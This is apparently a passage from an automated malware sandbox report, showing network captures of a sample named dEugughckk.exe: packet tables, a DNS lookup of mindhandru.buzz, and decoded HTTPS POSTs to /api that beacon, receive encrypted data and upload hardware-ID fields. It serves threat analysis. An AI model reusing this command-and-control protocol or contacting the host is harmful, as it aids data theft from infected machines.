Dec 26, 2024 12:37:21.100241899 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:21.100281000 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:21.100400925 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:21.100717068 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:21.100733042 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.404715061 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.404787064 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.406040907 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.406050920 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.406265974 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.407308102 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.407969952 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.408004045 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.408114910 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.408150911 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.408258915 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.408302069 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.408428907 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.408467054 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.408608913 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.408644915 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.408804893 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.408835888 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.408845901 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.408859015 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.408993006 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.409019947 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.409040928 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.409163952 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.409194946 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.455332041 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.455540895 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.455568075 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.455590963 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.455604076 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:22.455626011 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:22.455641985 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:24.944813013 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:24.944905996 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:24.944969893 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:24.945209026 CET	49731	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:24.945220947 CET	443	49731	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:24.956203938 CET	49737	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:24.956247091 CET	443	49737	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:24.956363916 CET	49737	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:24.956732988 CET	49737	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:24.956752062 CET	443	49737	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:25.742628098 CET	49737	443	192.168.2.6	172.67.165.185

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 12:37:05.811585903 CET	49160	53	192.168.2.6	1.1.1.1
Dec 26, 2024 12:37:05.949148893 CET	53	49160	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 26, 2024 12:37:05.811585903 CET	192.168.2.6	1.1.1.1	0x7933	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 26, 2024 12:37:05.949148893 CET	1.1.1.1	192.168.2.6	0x7933	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:37:05.949148893 CET	1.1.1.1	192.168.2.6	0x7933	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	172.67.165.185	443	6220	C:\Users\user\Desktop\dEugughckk.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:37:07 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-26 11:37:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-26 11:37:08 UTC	1123	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bq5udfeaatgtmb48cl700lh9ji; expires=Mon, 21 Apr 2025 05:23:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c4et0uBAJUDsDbK79I1sob29J1HqYJNBBFqYB1bVF26eqHd%2BEbIUnIKSzi9uc8Scfj%2F4QeQHBjUY%2FfwmYxsOJ1jHpJwET9DNt9sUDLvNzYXoDIRBFGuBZ7FX756axdgzBvI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80c6ee3fea42cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2517&min_rtt=2515&rtt_var=947&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1153694&cwnd=242&unsent_bytes=0&cid=4b62591bc8215020&ts=763&x=0"
2024-12-26 11:37:08 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-26 11:37:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	172.67.165.185	443	6220	C:\Users\user\Desktop\dEugughckk.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:37:09 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-26 11:37:09 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-26 11:37:10 UTC	1122	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nkc9fu7vparhc2f4ipp4b85rrk; expires=Mon, 21 Apr 2025 05:23:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JXvtzX%2FVS4Tnx8zRHJLqYNiM25YLVOE80ExvF%2FWJKFqWd%2BwnVqPTO1qgCIudDiwHZ1eXuHbq0URRXpo3a30jqiEZ04ZJj9LUed6wK2QWgjve9Oyua7jIsEAWuuAa6kpPedo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80c6fb6b1042a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1662&min_rtt=1662&rtt_var=624&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1750599&cwnd=32&unsent_bytes=0&cid=41181ef8e38a144e&ts=810&x=0"
2024-12-26 11:37:10 UTC	247	IN	Data Raw: 63 35 33 0d 0a 58 4e 31 39 59 4d 52 4d 61 48 4b 51 52 2b 4b 32 35 41 43 58 31 62 30 52 4b 5a 48 7a 55 4f 6a 57 71 53 79 75 55 62 69 4d 32 55 41 6e 2f 77 74 43 2f 6e 68 45 55 4f 4d 69 77 49 79 51 63 75 4b 77 6b 54 4e 49 39 64 46 71 6a 72 66 46 58 38 74 39 6d 76 71 30 59 6d 61 37 48 41 79 33 4b 55 52 51 39 54 2f 41 6a 4c 39 37 74 62 44 54 4d 78 4f 7a 6c 6a 71 4b 74 38 56 4f 7a 7a 72 58 2f 4c 55 6a 4e 4c 45 61 43 4b 45 76 44 42 50 38 4b 6f 66 54 67 57 48 39 75 39 52 38 51 66 7a 52 66 4d 71 7a 30 77 36 55 63 2f 58 70 72 53 45 52 76 41 34 4c 35 6a 46 45 43 62 49 69 6a 4a 54 65 49 76 61 77 33 33 31 50 39 5a 67 34 67 4c 37 4e 54 38 6f 37 79 4f 57 2f 4b 44 53 2f 47 51 6d 72 4a 68 67 65 39 69 32 4d 31 59 74 68 74 66 6d 66 64 46 4f 7a 79 58 Data Ascii: c53XN19YMRMaHKQR+K25ACX1b0RKZHzUOjWqSyuUbiM2UAn/wtC/nhEUOMiwIyQcuKwkTNI9dFqjrfFX8t9mvq0Yma7HAy3KURQ9T/AjL97tbDTMxOzljqKt8VOzzrX/LUjNLEaCKEvDBP8KofTgWH9u9R8QfzRfMqz0w6Uc/XprSERvA4L5jFECbIijJTeIvaw331P9Zg4gL7NT8o7yOW/KDS/GQmrJhge9i2M1YthtfmfdFOzyX
2024-12-26 11:37:10 UTC	1369	IN	Data Raw: 4c 5a 68 73 68 66 33 53 62 58 2f 72 31 69 49 66 45 47 51 71 45 69 53 6b 69 79 4c 59 7a 61 67 32 48 36 73 4e 35 7a 57 66 79 52 4d 59 4b 38 7a 30 54 44 50 4e 58 67 73 53 55 32 74 68 67 4e 6f 53 59 4d 48 2f 46 6c 7a 70 53 42 65 72 58 76 6e 31 4e 62 38 4a 49 6d 68 36 57 4c 55 59 49 71 6d 75 6d 33 59 6d 62 2f 47 51 79 6e 49 77 6f 43 2b 69 36 4c 30 5a 52 70 2f 4c 72 53 63 30 62 35 6e 6a 47 4b 73 38 46 45 77 7a 6e 65 34 37 59 6b 50 72 39 66 54 4f 59 70 45 6c 43 71 5a 61 50 52 6c 6d 58 35 6f 5a 31 4a 43 2b 7a 66 4b 38 71 7a 78 77 36 55 63 39 4c 72 75 43 45 31 73 42 77 4b 72 54 77 4b 41 76 51 6f 68 63 61 41 5a 2f 75 39 33 47 46 42 2f 5a 63 78 67 37 2f 43 53 38 73 33 6d 71 44 37 4a 53 62 2f 52 30 4b 48 49 77 45 63 2b 44 4b 41 6c 4a 6b 73 37 50 66 59 66 77 75 72 30 Data Ascii: LZhshf3SbX/r1iIfEGQqEiSkiyLYzag2H6sN5zWfyRMYK8z0TDPNXgsSU2thgNoSYMH/FlzpSBerXvn1Nb8JImh6WLUYIqmum3Ymb/GQynIwoC+i6L0ZRp/LrSc0b5njGKs8FEwzne47YkPr9fTOYpElCqZaPRlmX5oZ1JC+zfK8qzxw6Uc9LruCE1sBwKrTwKAvQohcaAZ/u93GFB/Zcxg7/CS8s3mqD7JSb/R0KHIwEc+DKAlJks7PfYfwur0
2024-12-26 11:37:10 UTC	1369	IN	Data Raw: 4c 41 49 77 30 77 71 37 6a 59 68 53 38 43 77 47 73 62 44 38 54 2f 43 75 48 77 73 5a 39 75 36 36 66 64 45 65 7a 79 58 4b 48 74 63 4e 49 33 6a 7a 58 37 62 55 73 4d 62 6f 51 43 71 59 75 42 78 58 32 4c 6f 76 58 69 32 62 6e 76 64 39 37 54 76 4b 62 4f 4d 72 36 69 30 6e 55 63 34 4b 75 69 6a 55 31 2f 53 6f 42 71 43 41 4e 42 72 49 36 7a 73 33 47 5a 66 6e 33 68 7a 4e 47 2b 35 51 33 68 62 58 42 51 4d 6b 35 31 75 61 31 49 53 79 77 47 77 4b 71 4a 67 41 64 2f 43 47 49 33 59 31 70 38 37 66 65 65 51 75 39 30 54 57 53 39 4a 4d 4f 2b 44 54 57 34 37 52 67 43 37 77 52 44 4b 45 34 53 67 2b 38 50 4d 44 54 69 69 4b 74 39 39 4e 36 53 2f 69 62 4e 6f 71 7a 78 6b 76 50 4e 4e 6e 6a 76 43 67 77 75 42 73 4f 72 79 4d 4d 45 50 55 68 68 63 61 44 61 2f 6d 37 6e 7a 30 4c 39 49 6c 79 30 76 Data Ascii: LAIw0wq7jYhS8CwGsbD8T/CuHwsZ9u66fdEezyXKHtcNI3jzX7bUsMboQCqYuBxX2LovXi2bnvd97TvKbOMr6i0nUc4KuijU1/SoBqCANBrI6zs3GZfn3hzNG+5Q3hbXBQMk51ua1ISywGwKqJgAd/CGI3Y1p87feeQu90TWS9JMO+DTW47RgC7wRDKE4Sg+8PMDTiiKt99N6S/ibNoqzxkvPNNnjvCgwuBsOryMMEPUhhcaDa/m7nz0L9Ily0v
2024-12-26 11:37:10 UTC	177	IN	Data Raw: 63 34 4b 75 73 69 73 73 73 52 45 4c 71 79 67 43 46 2f 77 6f 69 39 4b 4e 5a 66 4b 78 30 6e 74 47 39 70 49 7a 6a 72 37 5a 54 63 63 35 31 2b 54 37 62 48 36 34 42 30 4c 2b 62 69 30 63 32 7a 57 62 78 70 41 69 36 76 6e 47 4d 30 7a 2f 30 57 72 4b 74 38 52 48 77 7a 76 53 34 62 51 6d 4d 4c 6b 5a 44 36 4d 68 41 41 4c 36 4b 34 33 66 69 57 6e 6e 74 39 4a 33 52 2f 65 5a 4f 59 44 30 68 51 37 4c 4b 35 71 32 2b 78 63 7a 73 42 38 42 73 47 34 56 58 75 74 6c 68 39 6a 47 4f 72 57 37 30 58 4e 45 2f 35 30 35 67 72 58 48 51 4d 73 32 30 2b 61 0d 0a Data Ascii: c4KusisssRELqygCF/woi9KNZfKx0ntG9pIzjr7ZTcc51+T7bH64B0L+bi0c2zWbxpAi6vnGM0z/0WrKt8RHwzvS4bQmMLkZD6MhAAL6K43fiWnnt9J3R/eZOYD0hQ7LK5q2+xczsB8BsG4VXutlh9jGOrW70XNE/505grXHQMs20+a
2024-12-26 11:37:10 UTC	1369	IN	Data Raw: 33 63 63 39 0d 0a 7a 4d 44 2b 37 46 77 4f 6f 49 51 73 55 39 79 43 45 30 34 4a 6b 2b 76 65 52 4d 30 7a 72 30 57 72 4b 6d 2b 78 37 6a 68 4c 67 72 71 52 73 4a 2f 38 59 44 75 5a 32 53 68 7a 78 4b 59 6a 62 67 47 76 35 76 64 5a 34 52 2f 69 56 50 6f 4f 78 7a 55 2f 4a 4e 74 76 71 74 79 67 34 76 42 77 4e 71 53 45 43 55 4c 78 6c 68 38 7a 47 4f 72 57 53 79 48 68 46 39 64 45 74 78 4b 32 4c 53 63 42 7a 67 71 36 33 4b 7a 69 35 47 67 36 6e 4b 41 49 56 2b 69 47 42 30 6f 42 68 2b 72 50 61 63 6b 54 33 6e 54 79 41 74 63 70 43 78 7a 7a 52 36 2f 74 73 66 72 67 48 51 76 35 75 4f 78 50 6b 4d 70 44 59 78 6e 32 37 72 70 39 30 52 37 50 4a 63 6f 75 6d 77 55 54 43 4e 74 58 72 75 43 30 35 73 68 6b 4f 72 43 63 43 46 76 30 73 6b 74 65 4b 62 50 4b 35 30 33 31 47 2b 5a 49 2f 79 76 71 4c Data Ascii: 3cc9zMD+7FwOoIQsU9yCE04Jk+veRM0zr0WrKm+x7jhLgrqRsJ/8YDuZ2ShzxKYjbgGv5vdZ4R/iVPoOxzU/JNtvqtyg4vBwNqSECULxlh8zGOrWSyHhF9dEtxK2LScBzgq63Kzi5Gg6nKAIV+iGB0oBh+rPackT3nTyAtcpCxzzR6/tsfrgHQv5uOxPkMpDYxn27rp90R7PJcoumwUTCNtXruC05shkOrCcCFv0skteKbPK5031G+ZI/yvqL
2024-12-26 11:37:10 UTC	1369	IN	Data Raw: 33 6c 73 79 6b 78 75 51 30 4f 71 44 77 50 41 75 42 6c 7a 70 53 42 65 72 58 76 6e 30 56 4d 34 34 45 78 79 49 58 64 54 64 6f 34 31 2b 4c 37 50 58 43 6d 58 77 57 71 62 6c 4a 51 39 43 71 4a 31 34 6c 6a 2f 4c 76 53 64 6b 4c 32 6b 44 53 4f 76 73 46 4f 79 6a 58 62 36 37 45 68 50 37 55 57 42 61 34 70 43 51 4b 79 61 38 44 54 6e 69 4b 74 39 2f 5a 30 57 66 32 42 63 70 58 36 30 67 37 4c 50 35 71 32 2b 79 59 30 73 42 73 46 71 69 67 50 46 76 38 6b 6a 39 57 47 62 66 47 38 31 6e 56 4b 2f 70 51 2f 6a 71 62 42 52 63 4d 2f 30 2b 4b 32 59 6e 44 2f 47 42 72 6d 64 6b 6f 68 2f 79 75 4f 30 35 41 69 36 76 6e 47 4d 30 7a 2f 30 57 72 4b 74 63 64 42 7a 7a 7a 5a 37 62 6f 6f 4c 4b 30 54 43 36 34 72 42 68 76 38 49 35 4c 53 69 57 76 32 74 4e 5a 30 51 2f 2b 62 4d 59 33 30 68 51 37 4c 4b Data Ascii: 3lsykxuQ0OqDwPAuBlzpSBerXvn0VM44ExyIXdTdo41+L7PXCmXwWqblJQ9CqJ14lj/LvSdkL2kDSOvsFOyjXb67EhP7UWBa4pCQKya8DTniKt9/Z0Wf2BcpX60g7LP5q2+yY0sBsFqigPFv8kj9WGbfG81nVK/pQ/jqbBRcM/0+K2YnD/GBrmdkoh/yuO05Ai6vnGM0z/0WrKtcdBzzzZ7booLK0TC64rBhv8I5LSiWv2tNZ0Q/+bMY30hQ7LK
2024-12-26 11:37:10 UTC	1369	IN	Data Raw: 39 63 4b 5a 66 42 61 70 75 55 6c 44 30 4c 49 62 54 67 47 7a 6e 73 74 6c 38 52 50 71 59 4e 6f 4b 33 79 30 72 49 4e 4e 2f 74 74 79 6b 35 76 42 41 47 72 79 41 44 48 37 4a 72 77 4e 4f 65 49 71 33 33 2f 6d 68 49 2f 35 78 79 6c 66 72 53 44 73 73 2f 6d 72 62 37 4c 6a 43 36 48 77 69 67 4b 67 38 57 2b 43 43 41 33 34 56 74 38 62 48 62 66 45 76 34 6d 44 4f 4d 73 63 46 46 79 6a 37 5a 36 4c 31 69 63 50 38 59 47 75 5a 32 53 6a 44 70 4b 49 7a 54 78 6e 32 37 72 70 39 30 52 37 50 4a 63 6f 47 34 7a 30 6e 4d 50 74 6e 6d 76 69 59 30 75 68 38 4b 74 43 59 4b 46 2b 41 33 67 4e 32 44 62 76 61 33 32 33 56 43 39 5a 49 32 79 76 71 4c 53 64 52 7a 67 71 36 57 4c 6a 6d 57 47 42 6e 6d 4d 55 51 4a 73 69 4b 4d 6c 4e 34 69 39 4c 7a 56 66 45 62 77 6c 7a 47 42 73 63 46 50 79 7a 76 58 2f 4c Data Ascii: 9cKZfBapuUlD0LIbTgGznstl8RPqYNoK3y0rINN/ttyk5vBAGryADH7JrwNOeIq33/mhI/5xylfrSDss/mrb7LjC6HwigKg8W+CCA34Vt8bHbfEv4mDOMscFFyj7Z6L1icP8YGuZ2SjDpKIzTxn27rp90R7PJcoG4z0nMPtnmviY0uh8KtCYKF+A3gN2Dbva323VC9ZI2yvqLSdRzgq6WLjmWGBnmMUQJsiKMlN4i9LzVfEbwlzGBscFPyzvX/L
2024-12-26 11:37:10 UTC	1369	IN	Data Raw: 58 78 44 6d 64 6b 70 58 38 54 65 53 30 6f 56 30 39 76 44 68 54 57 7a 6c 6d 7a 57 61 73 39 78 42 6a 48 32 61 34 66 74 36 42 2f 38 57 42 62 30 2f 48 42 33 69 49 73 44 72 79 43 4c 74 39 34 63 7a 66 76 43 66 50 49 32 69 32 67 50 72 4a 64 44 70 71 79 55 70 73 46 39 4d 35 69 68 4b 53 4b 46 72 77 4e 43 58 49 71 33 6e 6a 53 67 65 6f 4d 5a 69 32 4b 75 46 56 34 77 6c 6d 72 62 70 62 48 36 74 58 31 72 6d 61 51 6b 43 34 43 4f 44 77 6f 55 6c 79 34 6e 34 61 55 62 31 68 69 4f 30 69 73 78 55 77 54 58 4e 2f 2f 63 33 50 62 45 52 42 62 42 75 52 46 44 39 5a 64 6a 74 78 69 71 31 69 4a 45 7a 55 37 50 4a 63 72 2b 33 78 55 44 4c 4a 63 75 6a 6e 44 67 7a 75 51 67 54 35 6d 42 4b 46 72 4a 39 30 4a 72 47 5a 75 54 33 68 79 4d 5a 71 4d 52 68 33 65 53 5a 55 59 49 71 6d 76 6a 37 65 6d 7a Data Ascii: XxDmdkpX8TeS0oV09vDhTWzlmzWas9xBjH2a4ft6B/8WBb0/HB3iIsDryCLt94czfvCfPI2i2gPrJdDpqyUpsF9M5ihKSKFrwNCXIq3njSgeoMZi2KuFV4wlmrbpbH6tX1rmaQkC4CODwoUly4n4aUb1hiO0isxUwTXN//c3PbERBbBuRFD9Zdjtxiq1iJEzU7PJcr+3xUDLJcujnDgzuQgT5mBKFrJ90JrGZuT3hyMZqMRh3eSZUYIqmvj7emz
2024-12-26 11:37:10 UTC	1369	IN	Data Raw: 6d 42 4b 48 37 4a 39 75 5a 54 4f 49 73 72 35 6e 32 73 4c 71 39 45 48 69 62 72 46 53 64 6f 69 6c 38 6d 31 4a 54 2b 70 44 78 57 70 62 6b 52 51 39 47 58 59 68 73 67 69 38 61 61 66 4b 78 75 68 79 6d 66 5a 34 35 73 63 30 33 33 44 72 71 31 69 5a 75 31 52 51 72 52 75 55 6c 43 31 4a 70 4c 47 67 47 48 6a 74 4a 68 4e 64 64 53 66 4e 59 75 69 32 31 6e 44 66 50 54 59 6d 68 77 41 71 68 77 4d 71 43 6b 63 41 62 4a 72 77 4e 76 47 4f 73 7a 33 6c 7a 4e 30 76 64 45 71 79 75 79 4c 65 38 38 39 31 4f 6d 74 4d 33 4f 59 45 51 57 6e 4f 42 6f 48 2f 57 71 75 34 71 63 69 75 2f 66 5a 4d 78 4f 68 33 33 4b 4f 70 59 73 57 6e 47 47 42 75 2b 68 31 62 75 30 41 54 4c 39 75 48 46 43 71 64 38 36 55 6c 43 4b 74 39 35 68 77 57 65 47 58 4d 5a 79 33 6a 48 44 79 46 4e 54 70 75 6a 51 75 73 68 4d 6a Data Ascii: mBKH7J9uZTOIsr5n2sLq9EHibrFSdoil8m1JT+pDxWpbkRQ9GXYhsgi8aafKxuhymfZ45sc033Drq1iZu1RQrRuUlC1JpLGgGHjtJhNddSfNYui21nDfPTYmhwAqhwMqCkcAbJrwNvGOsz3lzN0vdEqyuyLe8891OmtM3OYEQWnOBoH/Wqu4qciu/fZMxOh33KOpYsWnGGBu+h1bu0ATL9uHFCqd86UlCKt95hwWeGXMZy3jHDyFNTpujQushMj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	172.67.165.185	443	6220	C:\Users\user\Desktop\dEugughckk.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:37:12 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6H0U0FTRHX5X0CNQZ1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12859 Host: mindhandru.buzz
2024-12-26 11:37:12 UTC	12859	OUT	Data Raw: 2d 2d 36 48 30 55 30 46 54 52 48 58 35 58 30 43 4e 51 5a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 38 34 35 39 39 30 35 38 46 32 39 41 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 48 30 55 30 46 54 52 48 58 35 58 30 43 4e 51 5a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 48 30 55 30 46 54 52 48 58 35 58 30 43 4e 51 5a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --6H0U0FTRHX5X0CNQZ1Content-Disposition: form-data; name="hwid"3784599058F29A5CBEBA0C6A975F1733--6H0U0FTRHX5X0CNQZ1Content-Disposition: form-data; name="pid"2--6H0U0FTRHX5X0CNQZ1Content-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-26 11:37:13 UTC	1133	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=daii1lkra0rts5i5q2l7a8mon7; expires=Mon, 21 Apr 2025 05:23:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FDd5nYHu0ftA%2F6Y51%2Beak9MgakuXoOd4h6CQq3Uvn%2FFmZpx8eH13ntMIqrLMaD9u3WhyCQp8TMa4o3YCRGkty6xhTnBHsCEHxK%2FQZXUdCZvvcg8%2Ba61HjWNJheQryNeNxs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80c70bf87f430a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&min_rtt=1621&rtt_var=616&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13798&delivery_rate=1766485&cwnd=225&unsent_bytes=0&cid=a8b46615ab1b1e88&ts=1191&x=0"
2024-12-26 11:37:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:37:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	172.67.165.185	443	6220	C:\Users\user\Desktop\dEugughckk.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:37:14 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2GVV2ISQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15045 Host: mindhandru.buzz
